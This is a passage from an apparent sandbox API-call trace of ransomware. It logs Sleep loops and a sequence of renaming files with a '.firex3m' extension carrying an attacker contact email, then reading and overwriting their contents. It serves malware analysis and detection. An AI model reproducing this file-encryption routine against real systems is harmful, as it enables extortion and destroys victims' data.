(dwMilliseconds=0x1) [0079.675] Sleep (dwMilliseconds=0x1) [0079.690] Sleep (dwMilliseconds=0x1) [0079.738] Sleep (dwMilliseconds=0x1) [0079.801] Sleep (dwMilliseconds=0x1) [0079.815] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.931] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.985] Sleep (dwMilliseconds=0x1) [0080.050] Sleep (dwMilliseconds=0x1) [0080.069] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.098] Sleep (dwMilliseconds=0x1) [0080.138] Sleep (dwMilliseconds=0x1) [0080.159] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.262] Sleep (dwMilliseconds=0x1) [0080.267] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.300] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.341] Sleep (dwMilliseconds=0x1) [0080.363] Sleep (dwMilliseconds=0x1) [0080.380] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.408] Sleep (dwMilliseconds=0x1) [0080.428] Sleep (dwMilliseconds=0x1) [0080.440] Sleep (dwMilliseconds=0x1) [0080.504] Sleep (dwMilliseconds=0x1) [0080.525] Sleep (dwMilliseconds=0x1) [0080.549] Sleep (dwMilliseconds=0x1) [0080.565] Sleep (dwMilliseconds=0x1) [0080.584] Sleep (dwMilliseconds=0x1) [0080.604] Sleep (dwMilliseconds=0x1) [0080.616] Sleep (dwMilliseconds=0x1) [0080.659] Sleep (dwMilliseconds=0x1) [0080.674] Sleep (dwMilliseconds=0x1) [0080.702] Sleep (dwMilliseconds=0x1) [0080.724] Sleep (dwMilliseconds=0x1) [0080.764] Sleep (dwMilliseconds=0x1) [0080.789] Sleep (dwMilliseconds=0x1) [0080.803] Sleep (dwMilliseconds=0x1) [0080.821] Sleep (dwMilliseconds=0x1) [0080.834] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.887] Sleep (dwMilliseconds=0x1) [0080.895] Sleep (dwMilliseconds=0x1) [0080.914] Sleep (dwMilliseconds=0x1) [0080.926] Sleep (dwMilliseconds=0x1) [0080.938] Sleep (dwMilliseconds=0x1) [0080.961] Sleep (dwMilliseconds=0x1) [0080.974] Sleep (dwMilliseconds=0x1) [0080.993] Sleep (dwMilliseconds=0x1) [0081.001] Sleep (dwMilliseconds=0x1) [0081.030] Sleep (dwMilliseconds=0x1) [0081.052] Sleep (dwMilliseconds=0x1) [0081.284] Sleep (dwMilliseconds=0x1) [0081.435] Sleep (dwMilliseconds=0x1) [0081.524] Sleep (dwMilliseconds=0x1) [0081.540] Sleep (dwMilliseconds=0x1) [0081.561] Sleep (dwMilliseconds=0x1) [0081.582] Sleep (dwMilliseconds=0x1) [0081.599] Sleep (dwMilliseconds=0x1) [0081.614] Sleep (dwMilliseconds=0x1) [0081.628] Sleep (dwMilliseconds=0x1) [0081.665] Sleep (dwMilliseconds=0x1) [0081.682] Sleep (dwMilliseconds=0x1) [0081.693] Sleep (dwMilliseconds=0x1) [0081.708] Sleep (dwMilliseconds=0x1) [0081.758] Sleep (dwMilliseconds=0x1) [0081.775] Sleep (dwMilliseconds=0x1) [0081.790] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.850] Sleep (dwMilliseconds=0x1) [0081.885] Sleep (dwMilliseconds=0x1) [0081.894] Sleep (dwMilliseconds=0x1) [0081.909] Sleep (dwMilliseconds=0x1) [0081.927] Sleep (dwMilliseconds=0x1) [0081.941] Sleep (dwMilliseconds=0x1) [0081.968] Sleep (dwMilliseconds=0x1) [0081.986] Sleep (dwMilliseconds=0x1) [0082.003] Sleep (dwMilliseconds=0x1) [0082.035] Sleep (dwMilliseconds=0x1) [0082.051] Sleep (dwMilliseconds=0x1) [0082.068] Sleep (dwMilliseconds=0x1) [0082.113] Sleep (dwMilliseconds=0x1) [0082.132] Sleep (dwMilliseconds=0x1) [0082.152] Sleep (dwMilliseconds=0x1) [0082.198] Sleep (dwMilliseconds=0x1) [0082.211] Sleep (dwMilliseconds=0x1) [0082.236] Sleep (dwMilliseconds=0x1) [0082.254] Sleep (dwMilliseconds=0x1) [0082.280] Sleep (dwMilliseconds=0x1) [0082.291] Sleep (dwMilliseconds=0x1) [0082.313] Sleep (dwMilliseconds=0x1) [0082.367] Sleep (dwMilliseconds=0x1) [0082.421] Sleep (dwMilliseconds=0x1) [0082.537] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.633] Sleep (dwMilliseconds=0x1) [0082.688] Sleep (dwMilliseconds=0x1) [0082.724] Sleep (dwMilliseconds=0x1) [0082.780] Sleep (dwMilliseconds=0x1) [0082.818] Sleep (dwMilliseconds=0x1) [0082.874] Sleep (dwMilliseconds=0x1) [0082.912] Sleep (dwMilliseconds=0x1) [0082.972] Sleep (dwMilliseconds=0x1) [0083.012] Sleep (dwMilliseconds=0x1) [0083.059] Sleep (dwMilliseconds=0x1) [0083.100] Sleep (dwMilliseconds=0x1) [0083.154] Sleep (dwMilliseconds=0x1) [0083.197] Sleep (dwMilliseconds=0x1) [0083.247] Sleep (dwMilliseconds=0x1) [0083.289] Sleep (dwMilliseconds=0x1) [0083.341] Sleep (dwMilliseconds=0x1) [0083.381] Sleep (dwMilliseconds=0x1) [0083.440] Sleep (dwMilliseconds=0x1) [0083.699] Sleep (dwMilliseconds=0x1) [0083.755] Sleep (dwMilliseconds=0x1) [0083.798] Sleep (dwMilliseconds=0x1) [0083.917] Sleep (dwMilliseconds=0x1) [0084.015] Sleep (dwMilliseconds=0x1) [0084.090] Sleep (dwMilliseconds=0x1) [0084.204] Sleep (dwMilliseconds=0x1) [0084.340] Sleep (dwMilliseconds=0x1) [0084.740] Sleep (dwMilliseconds=0x1) [0084.808] Sleep (dwMilliseconds=0x1) [0084.880] Sleep (dwMilliseconds=0x1) [0084.958] Sleep (dwMilliseconds=0x1) [0085.048] Sleep (dwMilliseconds=0x1) [0085.123] Sleep (dwMilliseconds=0x1) [0085.180] Sleep (dwMilliseconds=0x1) [0085.344] Sleep (dwMilliseconds=0x1) [0085.392] Sleep (dwMilliseconds=0x1) [0085.733] Sleep (dwMilliseconds=0x1) [0085.834] Sleep (dwMilliseconds=0x1) [0085.961] Sleep (dwMilliseconds=0x1) [0086.079] Sleep (dwMilliseconds=0x1) [0086.190] Sleep (dwMilliseconds=0x1) [0086.233] Sleep (dwMilliseconds=0x1) [0086.297] Sleep (dwMilliseconds=0x1) [0086.348] Sleep (dwMilliseconds=0x1) [0086.591] Sleep (dwMilliseconds=0x1) [0086.893] Sleep (dwMilliseconds=0x1) [0087.095] Sleep (dwMilliseconds=0x1) [0087.467] Sleep (dwMilliseconds=0x1) [0089.109] Sleep (dwMilliseconds=0x1) [0090.328] Sleep (dwMilliseconds=0x1) [0091.760] Sleep (dwMilliseconds=0x1) [0093.249] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Setup.exe", len=0x1f | out: pbstr=0x523ff7c*="C:\\588bce7c90097ed212\\Setup.exe") returned 1 [0093.249] GetProcessHeap () returned 0x630000 [0093.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e3898, Size=0x98) returned 0x673f20 [0093.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0093.277] CloseHandle (hObject=0x6dc) returned 1 [0093.277] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.277] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), lpNewFileName="C:\\588bce7c90097ed212\\Setup.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.277] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.278] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPE~1.FIR")) returned 0x6d51c0 [0093.278] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0093.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0093.278] GetProcessHeap () returned 0x630000 [0093.278] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x711f6a8 [0093.279] GetProcessHeap () returned 0x630000 [0093.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712aad8 [0093.279] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.279] ReadFile (in: hFile=0x6dc, lpBuffer=0x711f6a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711f6a8*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.457] GetProcessHeap () returned 0x630000 [0100.457] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0100.457] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.457] WriteFile (in: hFile=0x6dc, lpBuffer=0x712aad8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712aad8*, lpNumberOfBytesWritten=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.458] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.458] WriteFile (in: hFile=0x6dc, lpBuffer=0x7135ed7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7135ed7*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.458] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.458] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.458] CloseHandle (hObject=0x6dc) returned 1 [0100.460] GetProcessHeap () returned 0x630000 [0100.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712aad8 | out: hHeap=0x630000) returned 1 [0100.462] GetProcessHeap () returned 0x630000 [0100.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711f6a8 | out: hHeap=0x630000) returned 1 [0100.464] GetProcessHeap () returned 0x630000 [0100.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0100.464] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.464] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0x1d32f08, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1316c, dwReserved0=0xa0c7496, dwReserved1=0x711f6a0, cFileName="Setup.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPE~1.FIR")) returned 0x6d5500 [0100.464] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0100.465] Sleep (dwMilliseconds=0x1) [0101.390] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Boot\\Fonts\\msjhn_boot.ttf", len=0x1c | out: pbstr=0x523ff7c*="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 1 [0101.390] GetProcessHeap () returned 0x630000 [0101.390] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5f58, Size=0x28) returned 0x699a98 [0101.390] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.333] Sleep (dwMilliseconds=0x1) [0102.353] Sleep (dwMilliseconds=0x1) [0102.378] Sleep (dwMilliseconds=0x1) [0102.398] Sleep (dwMilliseconds=0x1) [0102.429] Sleep (dwMilliseconds=0x1) [0102.460] Sleep (dwMilliseconds=0x1) [0102.473] Sleep (dwMilliseconds=0x1) [0102.490] Sleep (dwMilliseconds=0x1) [0102.504] Sleep (dwMilliseconds=0x1) [0102.521] Sleep (dwMilliseconds=0x1) [0102.538] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Boot\\ko-KR\\memtest.exe.mui", len=0x1d | out: pbstr=0x523ff7c*="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 1 [0102.538] GetProcessHeap () returned 0x630000 [0102.538] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1208 | out: hHeap=0x630000) returned 1 [0102.538] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.538] Sleep (dwMilliseconds=0x1) [0102.557] Sleep (dwMilliseconds=0x1) [0102.569] Sleep (dwMilliseconds=0x1) [0102.583] Sleep (dwMilliseconds=0x1) [0102.599] Sleep (dwMilliseconds=0x1) [0102.614] Sleep (dwMilliseconds=0x1) [0102.632] Sleep (dwMilliseconds=0x1) [0102.662] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.754] Sleep (dwMilliseconds=0x1) [0102.771] Sleep (dwMilliseconds=0x1) [0102.786] Sleep (dwMilliseconds=0x1) [0102.807] Sleep (dwMilliseconds=0x1) [0102.817] Sleep (dwMilliseconds=0x1) [0102.885] Sleep (dwMilliseconds=0x1) [0102.899] Sleep (dwMilliseconds=0x1) [0102.929] Sleep (dwMilliseconds=0x1) [0102.942] Sleep (dwMilliseconds=0x1) [0102.959] Sleep (dwMilliseconds=0x1) [0102.973] Sleep (dwMilliseconds=0x1) [0102.990] Sleep (dwMilliseconds=0x1) [0103.004] Sleep (dwMilliseconds=0x1) [0103.021] Sleep (dwMilliseconds=0x1) [0103.087] Sleep (dwMilliseconds=0x1) [0103.099] Sleep (dwMilliseconds=0x1) [0103.114] Sleep (dwMilliseconds=0x1) [0103.131] Sleep (dwMilliseconds=0x1) [0103.149] Sleep (dwMilliseconds=0x1) [0103.166] Sleep (dwMilliseconds=0x1) [0103.182] Sleep (dwMilliseconds=0x1) [0103.193] Sleep (dwMilliseconds=0x1) [0103.208] Sleep (dwMilliseconds=0x1) [0103.224] Sleep (dwMilliseconds=0x1) [0103.238] Sleep (dwMilliseconds=0x1) [0103.265] Sleep (dwMilliseconds=0x1) [0103.270] Sleep (dwMilliseconds=0x1) [0103.294] Sleep (dwMilliseconds=0x1) [0103.302] Sleep (dwMilliseconds=0x1) [0103.322] Sleep (dwMilliseconds=0x1) [0103.365] Sleep (dwMilliseconds=0x1) [0103.402] Sleep (dwMilliseconds=0x1) [0103.433] Sleep (dwMilliseconds=0x1) [0103.449] Sleep (dwMilliseconds=0x1) [0103.466] Sleep (dwMilliseconds=0x1) [0103.497] Sleep (dwMilliseconds=0x1) [0103.511] Sleep (dwMilliseconds=0x1) [0103.528] Sleep (dwMilliseconds=0x1) [0103.542] Sleep (dwMilliseconds=0x1) [0103.561] Sleep (dwMilliseconds=0x1) [0103.589] Sleep (dwMilliseconds=0x1) [0103.620] Sleep (dwMilliseconds=0x1) [0103.835] Sleep (dwMilliseconds=0x1) [0103.839] Sleep (dwMilliseconds=0x1) [0103.856] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", len=0x56 | out: pbstr=0x523ff7c*="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 1 [0103.856] GetProcessHeap () returned 0x630000 [0103.857] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0xc) returned 0x6b13b8 [0103.857] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0103.861] CloseHandle (hObject=0x688) returned 1 [0103.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.861] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.862] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x29, dwReserved1=0xfffffff5, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIF13A~1.FIR")) returned 0x6d5580 [0103.862] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0103.862] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0103.862] GetProcessHeap () returned 0x630000 [0103.862] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71844f8 [0103.862] GetProcessHeap () returned 0x630000 [0103.862] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718f928 [0103.862] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.862] ReadFile (in: hFile=0x688, lpBuffer=0x71844f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71844f8*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.259] GetProcessHeap () returned 0x630000 [0112.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0112.259] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.259] WriteFile (in: hFile=0x688, lpBuffer=0x718f928*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718f928*, lpNumberOfBytesWritten=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.260] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.260] WriteFile (in: hFile=0x688, lpBuffer=0x719ad27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ad27*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.263] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.263] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.263] CloseHandle (hObject=0x688) returned 1 [0113.492] GetProcessHeap () returned 0x630000 [0113.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718f928 | out: hHeap=0x630000) returned 1 [0113.493] GetProcessHeap () returned 0x630000 [0113.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71844f8 | out: hHeap=0x630000) returned 1 [0113.495] GetProcessHeap () returned 0x630000 [0113.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0113.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.495] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x999062e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x101024, dwReserved0=0xa0c7496, dwReserved1=0x71844f0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIF13A~1.FIR")) returned 0x6d51c0 [0113.495] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0113.496] Sleep (dwMilliseconds=0x1) [0114.109] Sleep (dwMilliseconds=0x1) [0114.555] Sleep (dwMilliseconds=0x1) [0114.919] Sleep (dwMilliseconds=0x1) [0115.212] Sleep (dwMilliseconds=0x1) [0115.504] Sleep (dwMilliseconds=0x1) [0115.905] Sleep (dwMilliseconds=0x1) [0117.127] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", len=0x39 | out: pbstr=0x523ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 1 [0117.127] GetProcessHeap () returned 0x630000 [0117.127] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a68, Size=0x24) returned 0x699ca8 [0117.127] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.129] Sleep (dwMilliseconds=0x1) [0117.140] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", len=0x30 | out: pbstr=0x523ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 1 [0117.140] GetProcessHeap () returned 0x630000 [0117.140] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04b8, Size=0x14) returned 0x6b02b8 [0117.140] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0117.140] CloseHandle (hObject=0x6e0) returned 1 [0117.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 